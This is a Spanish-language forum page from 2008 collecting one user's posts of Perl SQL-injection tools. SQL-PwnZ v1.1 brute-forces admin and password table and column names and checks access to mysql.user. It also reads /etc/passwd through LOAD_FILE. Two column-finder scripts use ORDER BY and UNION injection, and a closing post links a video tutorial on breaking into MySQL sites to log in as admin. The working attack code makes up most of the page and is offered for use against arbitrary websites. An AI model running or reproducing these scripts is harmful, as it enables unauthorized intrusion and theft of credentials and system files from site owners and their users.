# perl sqlpwnz.pl [WEBSITE] [COLUMNS] [FILE] [COMENTARIO] [-T] [-C] [-NOCHECK]          ###
#   [WEBSITE]: http://www.web.com/index.php?id=                                         ###
#   [COLUMNS]: Limite de columnas                                                       ###
#   [FILE]: Archivo donde guardar web vulnerable                                        ###
#   [COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)                             ###
#   [-T]: Intentar brutear tablas (Opcional)                                            ###
#   [-C]: Intentar brutear columnas (Opcional)                                          ###
#   [-NOCHECK]: No hacer el chequeo inicial (Opcional)                                  ###
###########################################################################################

###########################################################################################
# [+] c0ntact:                                                                          ###
###########################################################################################
# MSN:    no.more@passport.com                                                          ###
# Jabber: login-root@x23.eu                                                             ###
# E-Mail: login_root@yahoo.com.ar                                                       ###
###########################################################################################

###########################################################################################
# [+] sh0utz:                                                                           ###
###########################################################################################
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; VenoM ; InyeXion ; N3xtdoor      ###
# Many thanks to boER, who teach me a little of perl ;D                                 ###
# VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG | WWW.DIOSDELARED.COM                    ###
###########################################################################################

use LWP::Simple;

if(!$ARGV[2])
{
print "\n\n-[+]- SQL-PwnZ v1.1 | By Login-Root -[+]-\n=========================================";
print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE] [COMENTARIO] [-T] [-C] [-NOCHECK]\n";
print "\n[WEBSITE]: http://www.web.com/index.php?id=\n[COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n[COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)\n[-T]: Intentar brutear tablas (Opcional)\n[-C]: Intentar brutear columnas (Opcional)\n[-NOCHECK]: No hacer el chequeo inicial (Opcional)\n\n";
exit (0);
}

@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
  'name','names','nombre','nombres','usuarios','member','members','admin_table',
  'miembro','miembros','membername','admins','administrator',
  'administrators','passwd','password','passwords','pass','Pass',
  'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
  'member_password','mods','mod','moderators','moderator','user_email',
  'user_emails','user_mail','user_mails','mail','emails','email','address',
  'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
  'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
  'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
  'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
  'sistema_usuario','sistema_password','contrasena','auth','key','senha',
  'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
      'associated','accnt','customers','customer','membres','administrateur','utilisateur',
      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
  'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');

@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
          'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
          'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
          'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
          'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
          'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');

if ( $ARGV[0]   !~   /^http:/ )
  {
      $ARGV[0] = "http://" . $ARGV[0];
  }

if ($ARGV[3] =~ "--" || $ARGV[4] =~ "--" || $ARGV[5] =~ "--" || $ARGV[6] =~ "--")
{
$cmn.= "+";
$cfin.="--";
print "\n[+] Comentarios a utilizar: '--' & '+'";
}
else
{
$cmn.= "/**/";
$cfin.= "/*";
print "\n[+] Comentarios a utilizar: '/*' & '/**/'";
}

open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n";
if ($ARGV[3] =~ "-NOCHECK" || $ARGV[4] =~ "-NOCHECK" || $ARGV[5] =~ "-NOCHECK" || $ARGV[6] =~ "-NOCHECK")
  {
      print "\n[!] Se omite el chequeo inicial...\n";
      print WEB "[WEBSITE]:\n\n$ARGV[0]\n";
  }
else
  {
      print "\n[!] Chequeando si la web es vulnerable...\n";
      $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cfin;
      $response=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");
      if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/ || $response =~ /tem um erro de sintaxe no seu SQL/ ||         $response =~ /mysql_num_rows/ || $response =~ /Division by zero in/)
        {
            print "[+] Web vulnerable, continua el script...\n";
            print WEB "[WEBSITE]:\n\n$ARGV[0]\n";
        }
        else
          {
            print "[-] Website aparentemente no vulnerable a SQL Inyection, intentar con otro comentario\n\n";
            exit(1);
          }
  }
print "\n[!] Buscando columnas...\n";
for ($column = 0 ; $column < $ARGV[1] ; $column ++)
{
$union.=','.$column;
$inyection.=','."0x6c6f67696e70776e7a";
    if ($column == 0)
      {
          print WEB "\n[COLUMNAS]:\n\n";
          $inyection = '';
          $union = '';
      }
    $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
    $response=get($sql)or die("[-] Error al intentar encontrar el numero de columnas, chequear website\n");
    if($response =~ /loginpwnz/)
      {
         $column ++;
         print "[+] La web posee $column columnas\n\n";
         $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
         print "$sql\n";
         print WEB "$sql\n";
         print "\n[!] Chequeando si existe Information_Schema...";
         $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
         $response=get($sql)or die("[-] Imposible obtener Information_Schema\n");
         if($response =~ /loginpwnz/)
          {
          print "\n[+] Information_Schema disponible...guardando en $ARGV[2]";
            $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
            print WEB "\n\n[INFORMATION_SCHEMA]:\n\n$sql\n";
           
          }
         else
          {
            print "\n[-] Information_Schema no disponible";
          }
         print "\n[!] Chequeando si existe MySQL.User...";
         $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
         $response=get($sql)or die("[-] Imposible obtener MySQL.User\n");
         if($response =~ /loginpwnz/)
          {
          print "\n[+] MySQL.User disponible...guardando en $ARGV[2]";
          $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
            print WEB "\n\n[MYSQL.USER]:\n\n$sql\n";
           
          }
         else
          {
            print "\n[-] MySQL.User no disponible";
          }
while ($loadcont < $column-1)
   {
$loadfile.=','.'load_file(0x2f6574632f706173737764)';
$loadcont++;
   }
print "\n[!] Chequeando si es posible inyectar LOAD_FILE...";
        $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
$response=get($sql)or die("[-] Imposible inyectar LOAD_FILE\n");
         if($response =~ /root:x:0:0/)
          {
          print "\n[+] LOAD_FILE disponible...guardando en $ARGV[2]";
          print WEB "\n\n[LOAD_FILE]:\n\nload_file(0x2f6574632f706173737764) => OK! (0x2f6574632f706173737764 => /etc/passwd)\n";
          }
         else
          {
            print "\n[-] LOAD_FILE no disponible";
          }
if ($ARGV[3] =~ "-T" || $ARGV[4] =~ "-T" || $ARGV[5] =~ "-T" || $ARGV[6] =~ "-T")
          {
              print "\n\n[!] Bruteando tablas...";
              print WEB "\n\n[TABLAS]:\n\n";
              foreach $tabla(@nombretabla)
                {
                  chomp($tabla);
                  $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
                  $response=get($sql)or die("[-] Imposible obtener tablas\n");
                  if($response =~ /loginpwnz/)
                    {
                        print "\n[+] La tabla $tabla esta disponible...guardando en $ARGV[2]";
                        $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
                        print WEB "$sql\n";
                    }
                }
            }
        if ($ARGV[3] =~ "-C" || $ARGV[4] =~ "-C" || $ARGV[5] =~ "-C" || $ARGV[6] =~ "-C")
          {
          print "\n\n[!] Tabla a la cual brutear columnas: ";
            $tabla.=<STDIN>;
            chomp($tabla);
            print WEB "\n\n[COLUMNAS EN TABLA]: $tabla\n\n";
            foreach $columna(@nombrecolumna)
            {
             chomp($columna);
             $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
             $response=get($sql)or die("[-] Imposible obtener columnas\n");
             if ($response =~ /loginpwnz/)
                  {
                      print "\n[+] La columna $columna esta disponible...guardando en $ARGV[2]";
                      print WEB "$columna\n";
                  }
            }
        }
        print WEB "\n\n\n[*EOF*]";
        print "\n\n[+] Todo salvado correctamente en $ARGV[2]\n\n";
        print "## c0ded by Login-Root | 2008 ##\n\n";
        exit (0);
      }
}
print "[-] Imposible encontrar numero de columnas, intentar con mas columnas\n\n";
print "## c0ded by Login-Root | 2008 ##\n\n";
exit (0);

Ejemplo de uso:



Archivo de texto de salida:



Comenten   ;)


Saludos.


ACTUALIZACIÓN v0.7:

  • Analiza si LOAD_FILE esta disponible.
  • Mejor codigo.
ACTUALIZACIÓN v0.8:

  • FiX LOAD_FILE (No funcionaba correctamente).
  • FiX Columnas (En algunos casos no las encontraba bien).
ACTUALIZACIÓN v0.9:

  • Se puede elegir el comentario a utilizar ("/*" o "--").
  • Alguna que otra cosa fixeada.
ACTUALIZACIÓN v1.0:

  • Mas nombres de tablas y de columnas agregadas.
  • Mejor code.
  • Mas bugs fixeados.
ACTUALIZACIÓN v1.1:

  • Añadida opcion para no hacer el chequeo inicial (Chequeo de web vulnerable) (-NOCHECK).
  • Añadido chequeo por si te olvidaste el http:// :P.
  • FiX Columnas cuando la web tenia 1 sola columna.
  • Mas bugs fixeados.
7  Programación / Scripting / [+] MySQL Column Finder v2 en: 13 Julio 2008, 01:20 am
Hago otro thread para no enredar mucho el otro xD. v2 de mi buscador de columnas :D


UTILIZANDO ORDER:


Código:
#!/usr/bin/perl

###########################################################################################
# Busca la cantidad de columnas en una inyeccion MySQL utilizando la sentencia ORDER.   ###
# By Login-Root                                                                         ###
# MSN: no.more@passport.com                                                             ###
# Jabber: login-root@x23.eu                                                             ###
# E-Mail: login_root@yahoo.com.ar                                                       ###
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; N3xt.d00r ; VenoM                ###
# Many thanks to boER, who teach me a little of perl ;D                                 ###
# VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG                                          ###
###########################################################################################

use LWP::Simple;

if(!$ARGV[2])
{
     print "\n\n## c0ded by Login-Root | 2008 ##";
     print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE]\n";
     print "\n[WEBSITE]: http://www.web.com/index.php?id=\n[COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n";
     exit (1);
}

open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n";
$column=1;
$count=1;
while ($column <= $ARGV[1])
{
    $sql=$ARGV[0]."-1+order+by+".$column."--";
    $contenido=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");

    if($contenido=~ /mysql_fetch_/ || $contenido=~ /Unknown column/)
    {
         print "\n[+] Fallo el intento de obtener $column columnas\n";
         $column --;
         if ($column == 0)
         {
             $column ++;
         }
         $sql=$ARGV[0]."-1+order+by+".$column."--";
         print "[+] La web tiene $column columnas:\n\n";
         print "$sql\n\n";
         print WEB "$sql\n";
         while ($count < $column)
         {
            $union.=','.$count;
            $count++;
         }
         print "\n[+] Chequeando si existe Information_Schema...";
         $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+information_schema.tables--";
         $contenido=get($sql)or die("[-] Imposible obtener Information_Schema\n");
         if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/)
         {
            print "\n[-] Information_Schema no disponible";
         }
         else
         {
            print "\n[+] Information_Schema disponible...guardando en $ARGV[2]";
            print WEB "$sql\n";
         }
         print "\n[+] Chequeando si existe MySQL.User...";
         $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+mysql.user--";
         $contenido=get($sql)or die("[-] Imposible obtener MySQL.User\n");
         if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/)
         {
            print "\n[-] MySQL.User no disponible\n\n";
         }
         else
         {
            print "\n[+] MySQL.User disponible...guardando en $ARGV[2]\n";
            print WEB "$sql\n";
         }
         print "[+] Todo salvado correctamente en $ARGV[2]\n\n";
         print "## c0ded by Login-Root | 2008 ##\n\n";
         exit (1);
     }
     else
     {
         print "\n[!] Sin error al intentar con $column columnas";
         $column ++;
     }
}
print "\n[-] Imposible encontrar numero de columnas, intentar con mas columnas\n";
exit (1);

Ejemplo:


_______________________________________________________________________________


UTILIZANDO UNION:


Código:
#!/usr/bin/perl

###########################################################################################
# Busca la cantidad de columnas en una inyeccion MySQL  utilizando la sentencia UNION.  ###
# By Login-Root                                                                         ###
# MSN: no.more@passport.com                                                             ###
# Jabber: login-root@x23.eu                                                             ###
# E-Mail: login_root@yahoo.com.ar                                                       ###
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; N3xt.d00r ; VenoM                ###
# Many thanks to boER, who teach me a little of perl ;D                                 ###
# VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG                                          ###
###########################################################################################

use LWP::Simple;

if(!$ARGV[2])
{
     print "\n\n## c0ded by Login-Root | 2008 ##";
     print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE]\n";
     print "\n[WEBSITE]: http://www.web.com/index.php?id=\n[COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n";
     exit (1);
}

open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n";
$column=0;

while ($column <= $ARGV[1])
{
    $union.=','.$column;
    if ($column == 0)
    {
        $union='';
    }
    $sql=$ARGV[0]."-1+union+all+select+0".$union."--";
    $contenido=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");

    if($contenido=~ /mysql_fetch_/ || $contenido=~ /The used SELECT statements have a different number of columns/)
    {
         $column ++;
         print "\n[!] Fallo el intento de obtener $column columnas";
    }
     else
     {
         $column ++;
         print "\n[+] La web posee $column columnas\n\n";
         print "$sql\n\n";
         print WEB "$sql\n";
         print "\n[+] Chequeando si existe Information_Schema...";
         $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+information_schema.tables--";
         $contenido=get($sql)or die("[-] Imposible obtener Information_Schema\n");
         if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/)
         {
            print "\n[-] Information_Schema no disponible";
         }
         else
         {
            print "\n[+] Information_Schema disponible...guardando en $ARGV[2]";
            print WEB "$sql\n";
         }
         print "\n[+] Chequeando si existe MySQL.User...";
         $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+mysql.user--";
         $contenido=get($sql)or die("[-] Imposible obtener MySQL.User\n");
         if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/)
         {
            print "\n[-] MySQL.User no disponible\n\n";
         }
         else
         {
            print "\n[+] MySQL.User disponible...guardando en $ARGV[2]\n";
            print WEB "$sql\n";
         }
         print "[+] Todo salvado correctamente en $ARGV[2]\n\n";
         print "## c0ded by Login-Root | 2008 ##\n\n";
         exit (1);
         }
}
print "\n[-] Imposible encontrar numero de columnas, intentar con mas columnas\n";
exit (1);

Ejemplo:



Saludos.
8  Programación / Scripting / [+] MySQL Column Finder en: 5 Julio 2008, 19:41 pm
Bueno, mi primer script en perl, no sean muy duros :D

Código:
#!/usr/bin/perl

###########################################################################################
# Busca la cantidad de columnas en una inyeccion MySQL utilizando la sentencia ORDER.   ###
# By Login-Root                                                                         ###
# MSN: no.more@passport.com                                                             ###
# Jabber: login-root@x23.eu                                                             ###
# E-Mail: login_root@yahoo.com.ar                                                       ###
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; N3xt.d00r                        ###
# Many thanks to boER, who teach me a little of perl ;D                                 ###
# VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG                                          ###
###########################################################################################

use LWP::Simple;

if(!$ARGV[0])
{
     print "\n\n## c0ded by Login-Root | 2008 ##";
     print "\n\nUso: perl $0 http://www.web.com/index.php?id=\n\n";
     exit (1);
}

$column=1;
while (5)
{
    $sql=$ARGV[0]."-1+order+by+".$column."/*";
    $contenido=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");

    if($contenido=~ /mysql_fetch_/ )
    {
         print "\n[+] Fallo el intento de obtener $column columnas\n";
         $column --;
         if ($column == 0)
         {
             $column ++;
         }
         $sql=$ARGV[0]."-1+order+by+".$column."/*";
         print "[+] La web tiene $column columnas:\n\n";
         print "$sql\n\n";
         print "## c0ded by Login-Root | 2008 ##\n\n";
         exit (1);
     }
     else
     {
         print "\n[!] Sin error al intentar con $column columnas";
         $column ++;
     }
}


Ejemplo de uso (Con ORDER):




Mismo code, pero utilizando la sentencia UNION:

Código:
#!/usr/bin/perl

###########################################################################################
# Busca la cantidad de columnas en una inyeccion MySQL  utilizando la sentencia UNION.  ###
# By Login-Root                                                                         ###
# MSN: no.more@passport.com                                                             ###
# Jabber: login-root@x23.eu                                                             ###
# E-Mail: login_root@yahoo.com.ar                                                       ###
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; N3xt.d00r                        ###
# Many thanks to boER, who teach me a little of perl ;D                                 ###
# VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG                                          ###
###########################################################################################

use LWP::Simple;

if(!$ARGV[0])
{
     print "\n\n## c0ded by Login-Root | 2008 ##";
     print "\n\nUso: perl $0 http://www.web.com/index.php?id=\n\n";
     exit (1);
}

$column=0;

while (5)
{
    $union.=','.$column;
    if ($column == 0)
    {
        $union='';
    }
    $sql=$ARGV[0]."-1+union+all+select+0".$union."/*";
    $contenido=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");

    if($contenido=~ /mysql_fetch_/ )
    {
         $column ++;
         print "\n[!] Fallo el intento de obtener $column columnas";
    }
     else
     {
         $column ++;
         print "\n[+] La web posee $column columnas\n\n";
         print "$sql\n\n";
         print "## c0ded by Login-Root | 2008 ##\n\n";
         exit (1);
         
     }
}


Ejemplo de uso (Con UNION):




Gracias de nuevo boER!, por enseñarme algunas cosas básicas de Perl.

Saludos.
9  Seguridad Informática / Nivel Web / Inyecciones MySQL simples | Entrando como admin en: 22 Junio 2008, 20:26 pm
Holas de nuevo ;), acá les hice un videotutorial de como hacer inyecciones en MySQL, obtener el numero y los nombres de las columnas, los nombres de las tablas y logueándose como admin.

Descarguen & comenten ;)


Download:


Mirror 1:

http://rapidshare.com/files/124280292/sql.7z.html

Mirror 2:

http://www.badongo.com/file/10011380

Mirror 3:

http://fastuploading.com/download.php?id=5908F9251

Cualquier duda/critica/comentario será bien recibida.


Saludos...
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines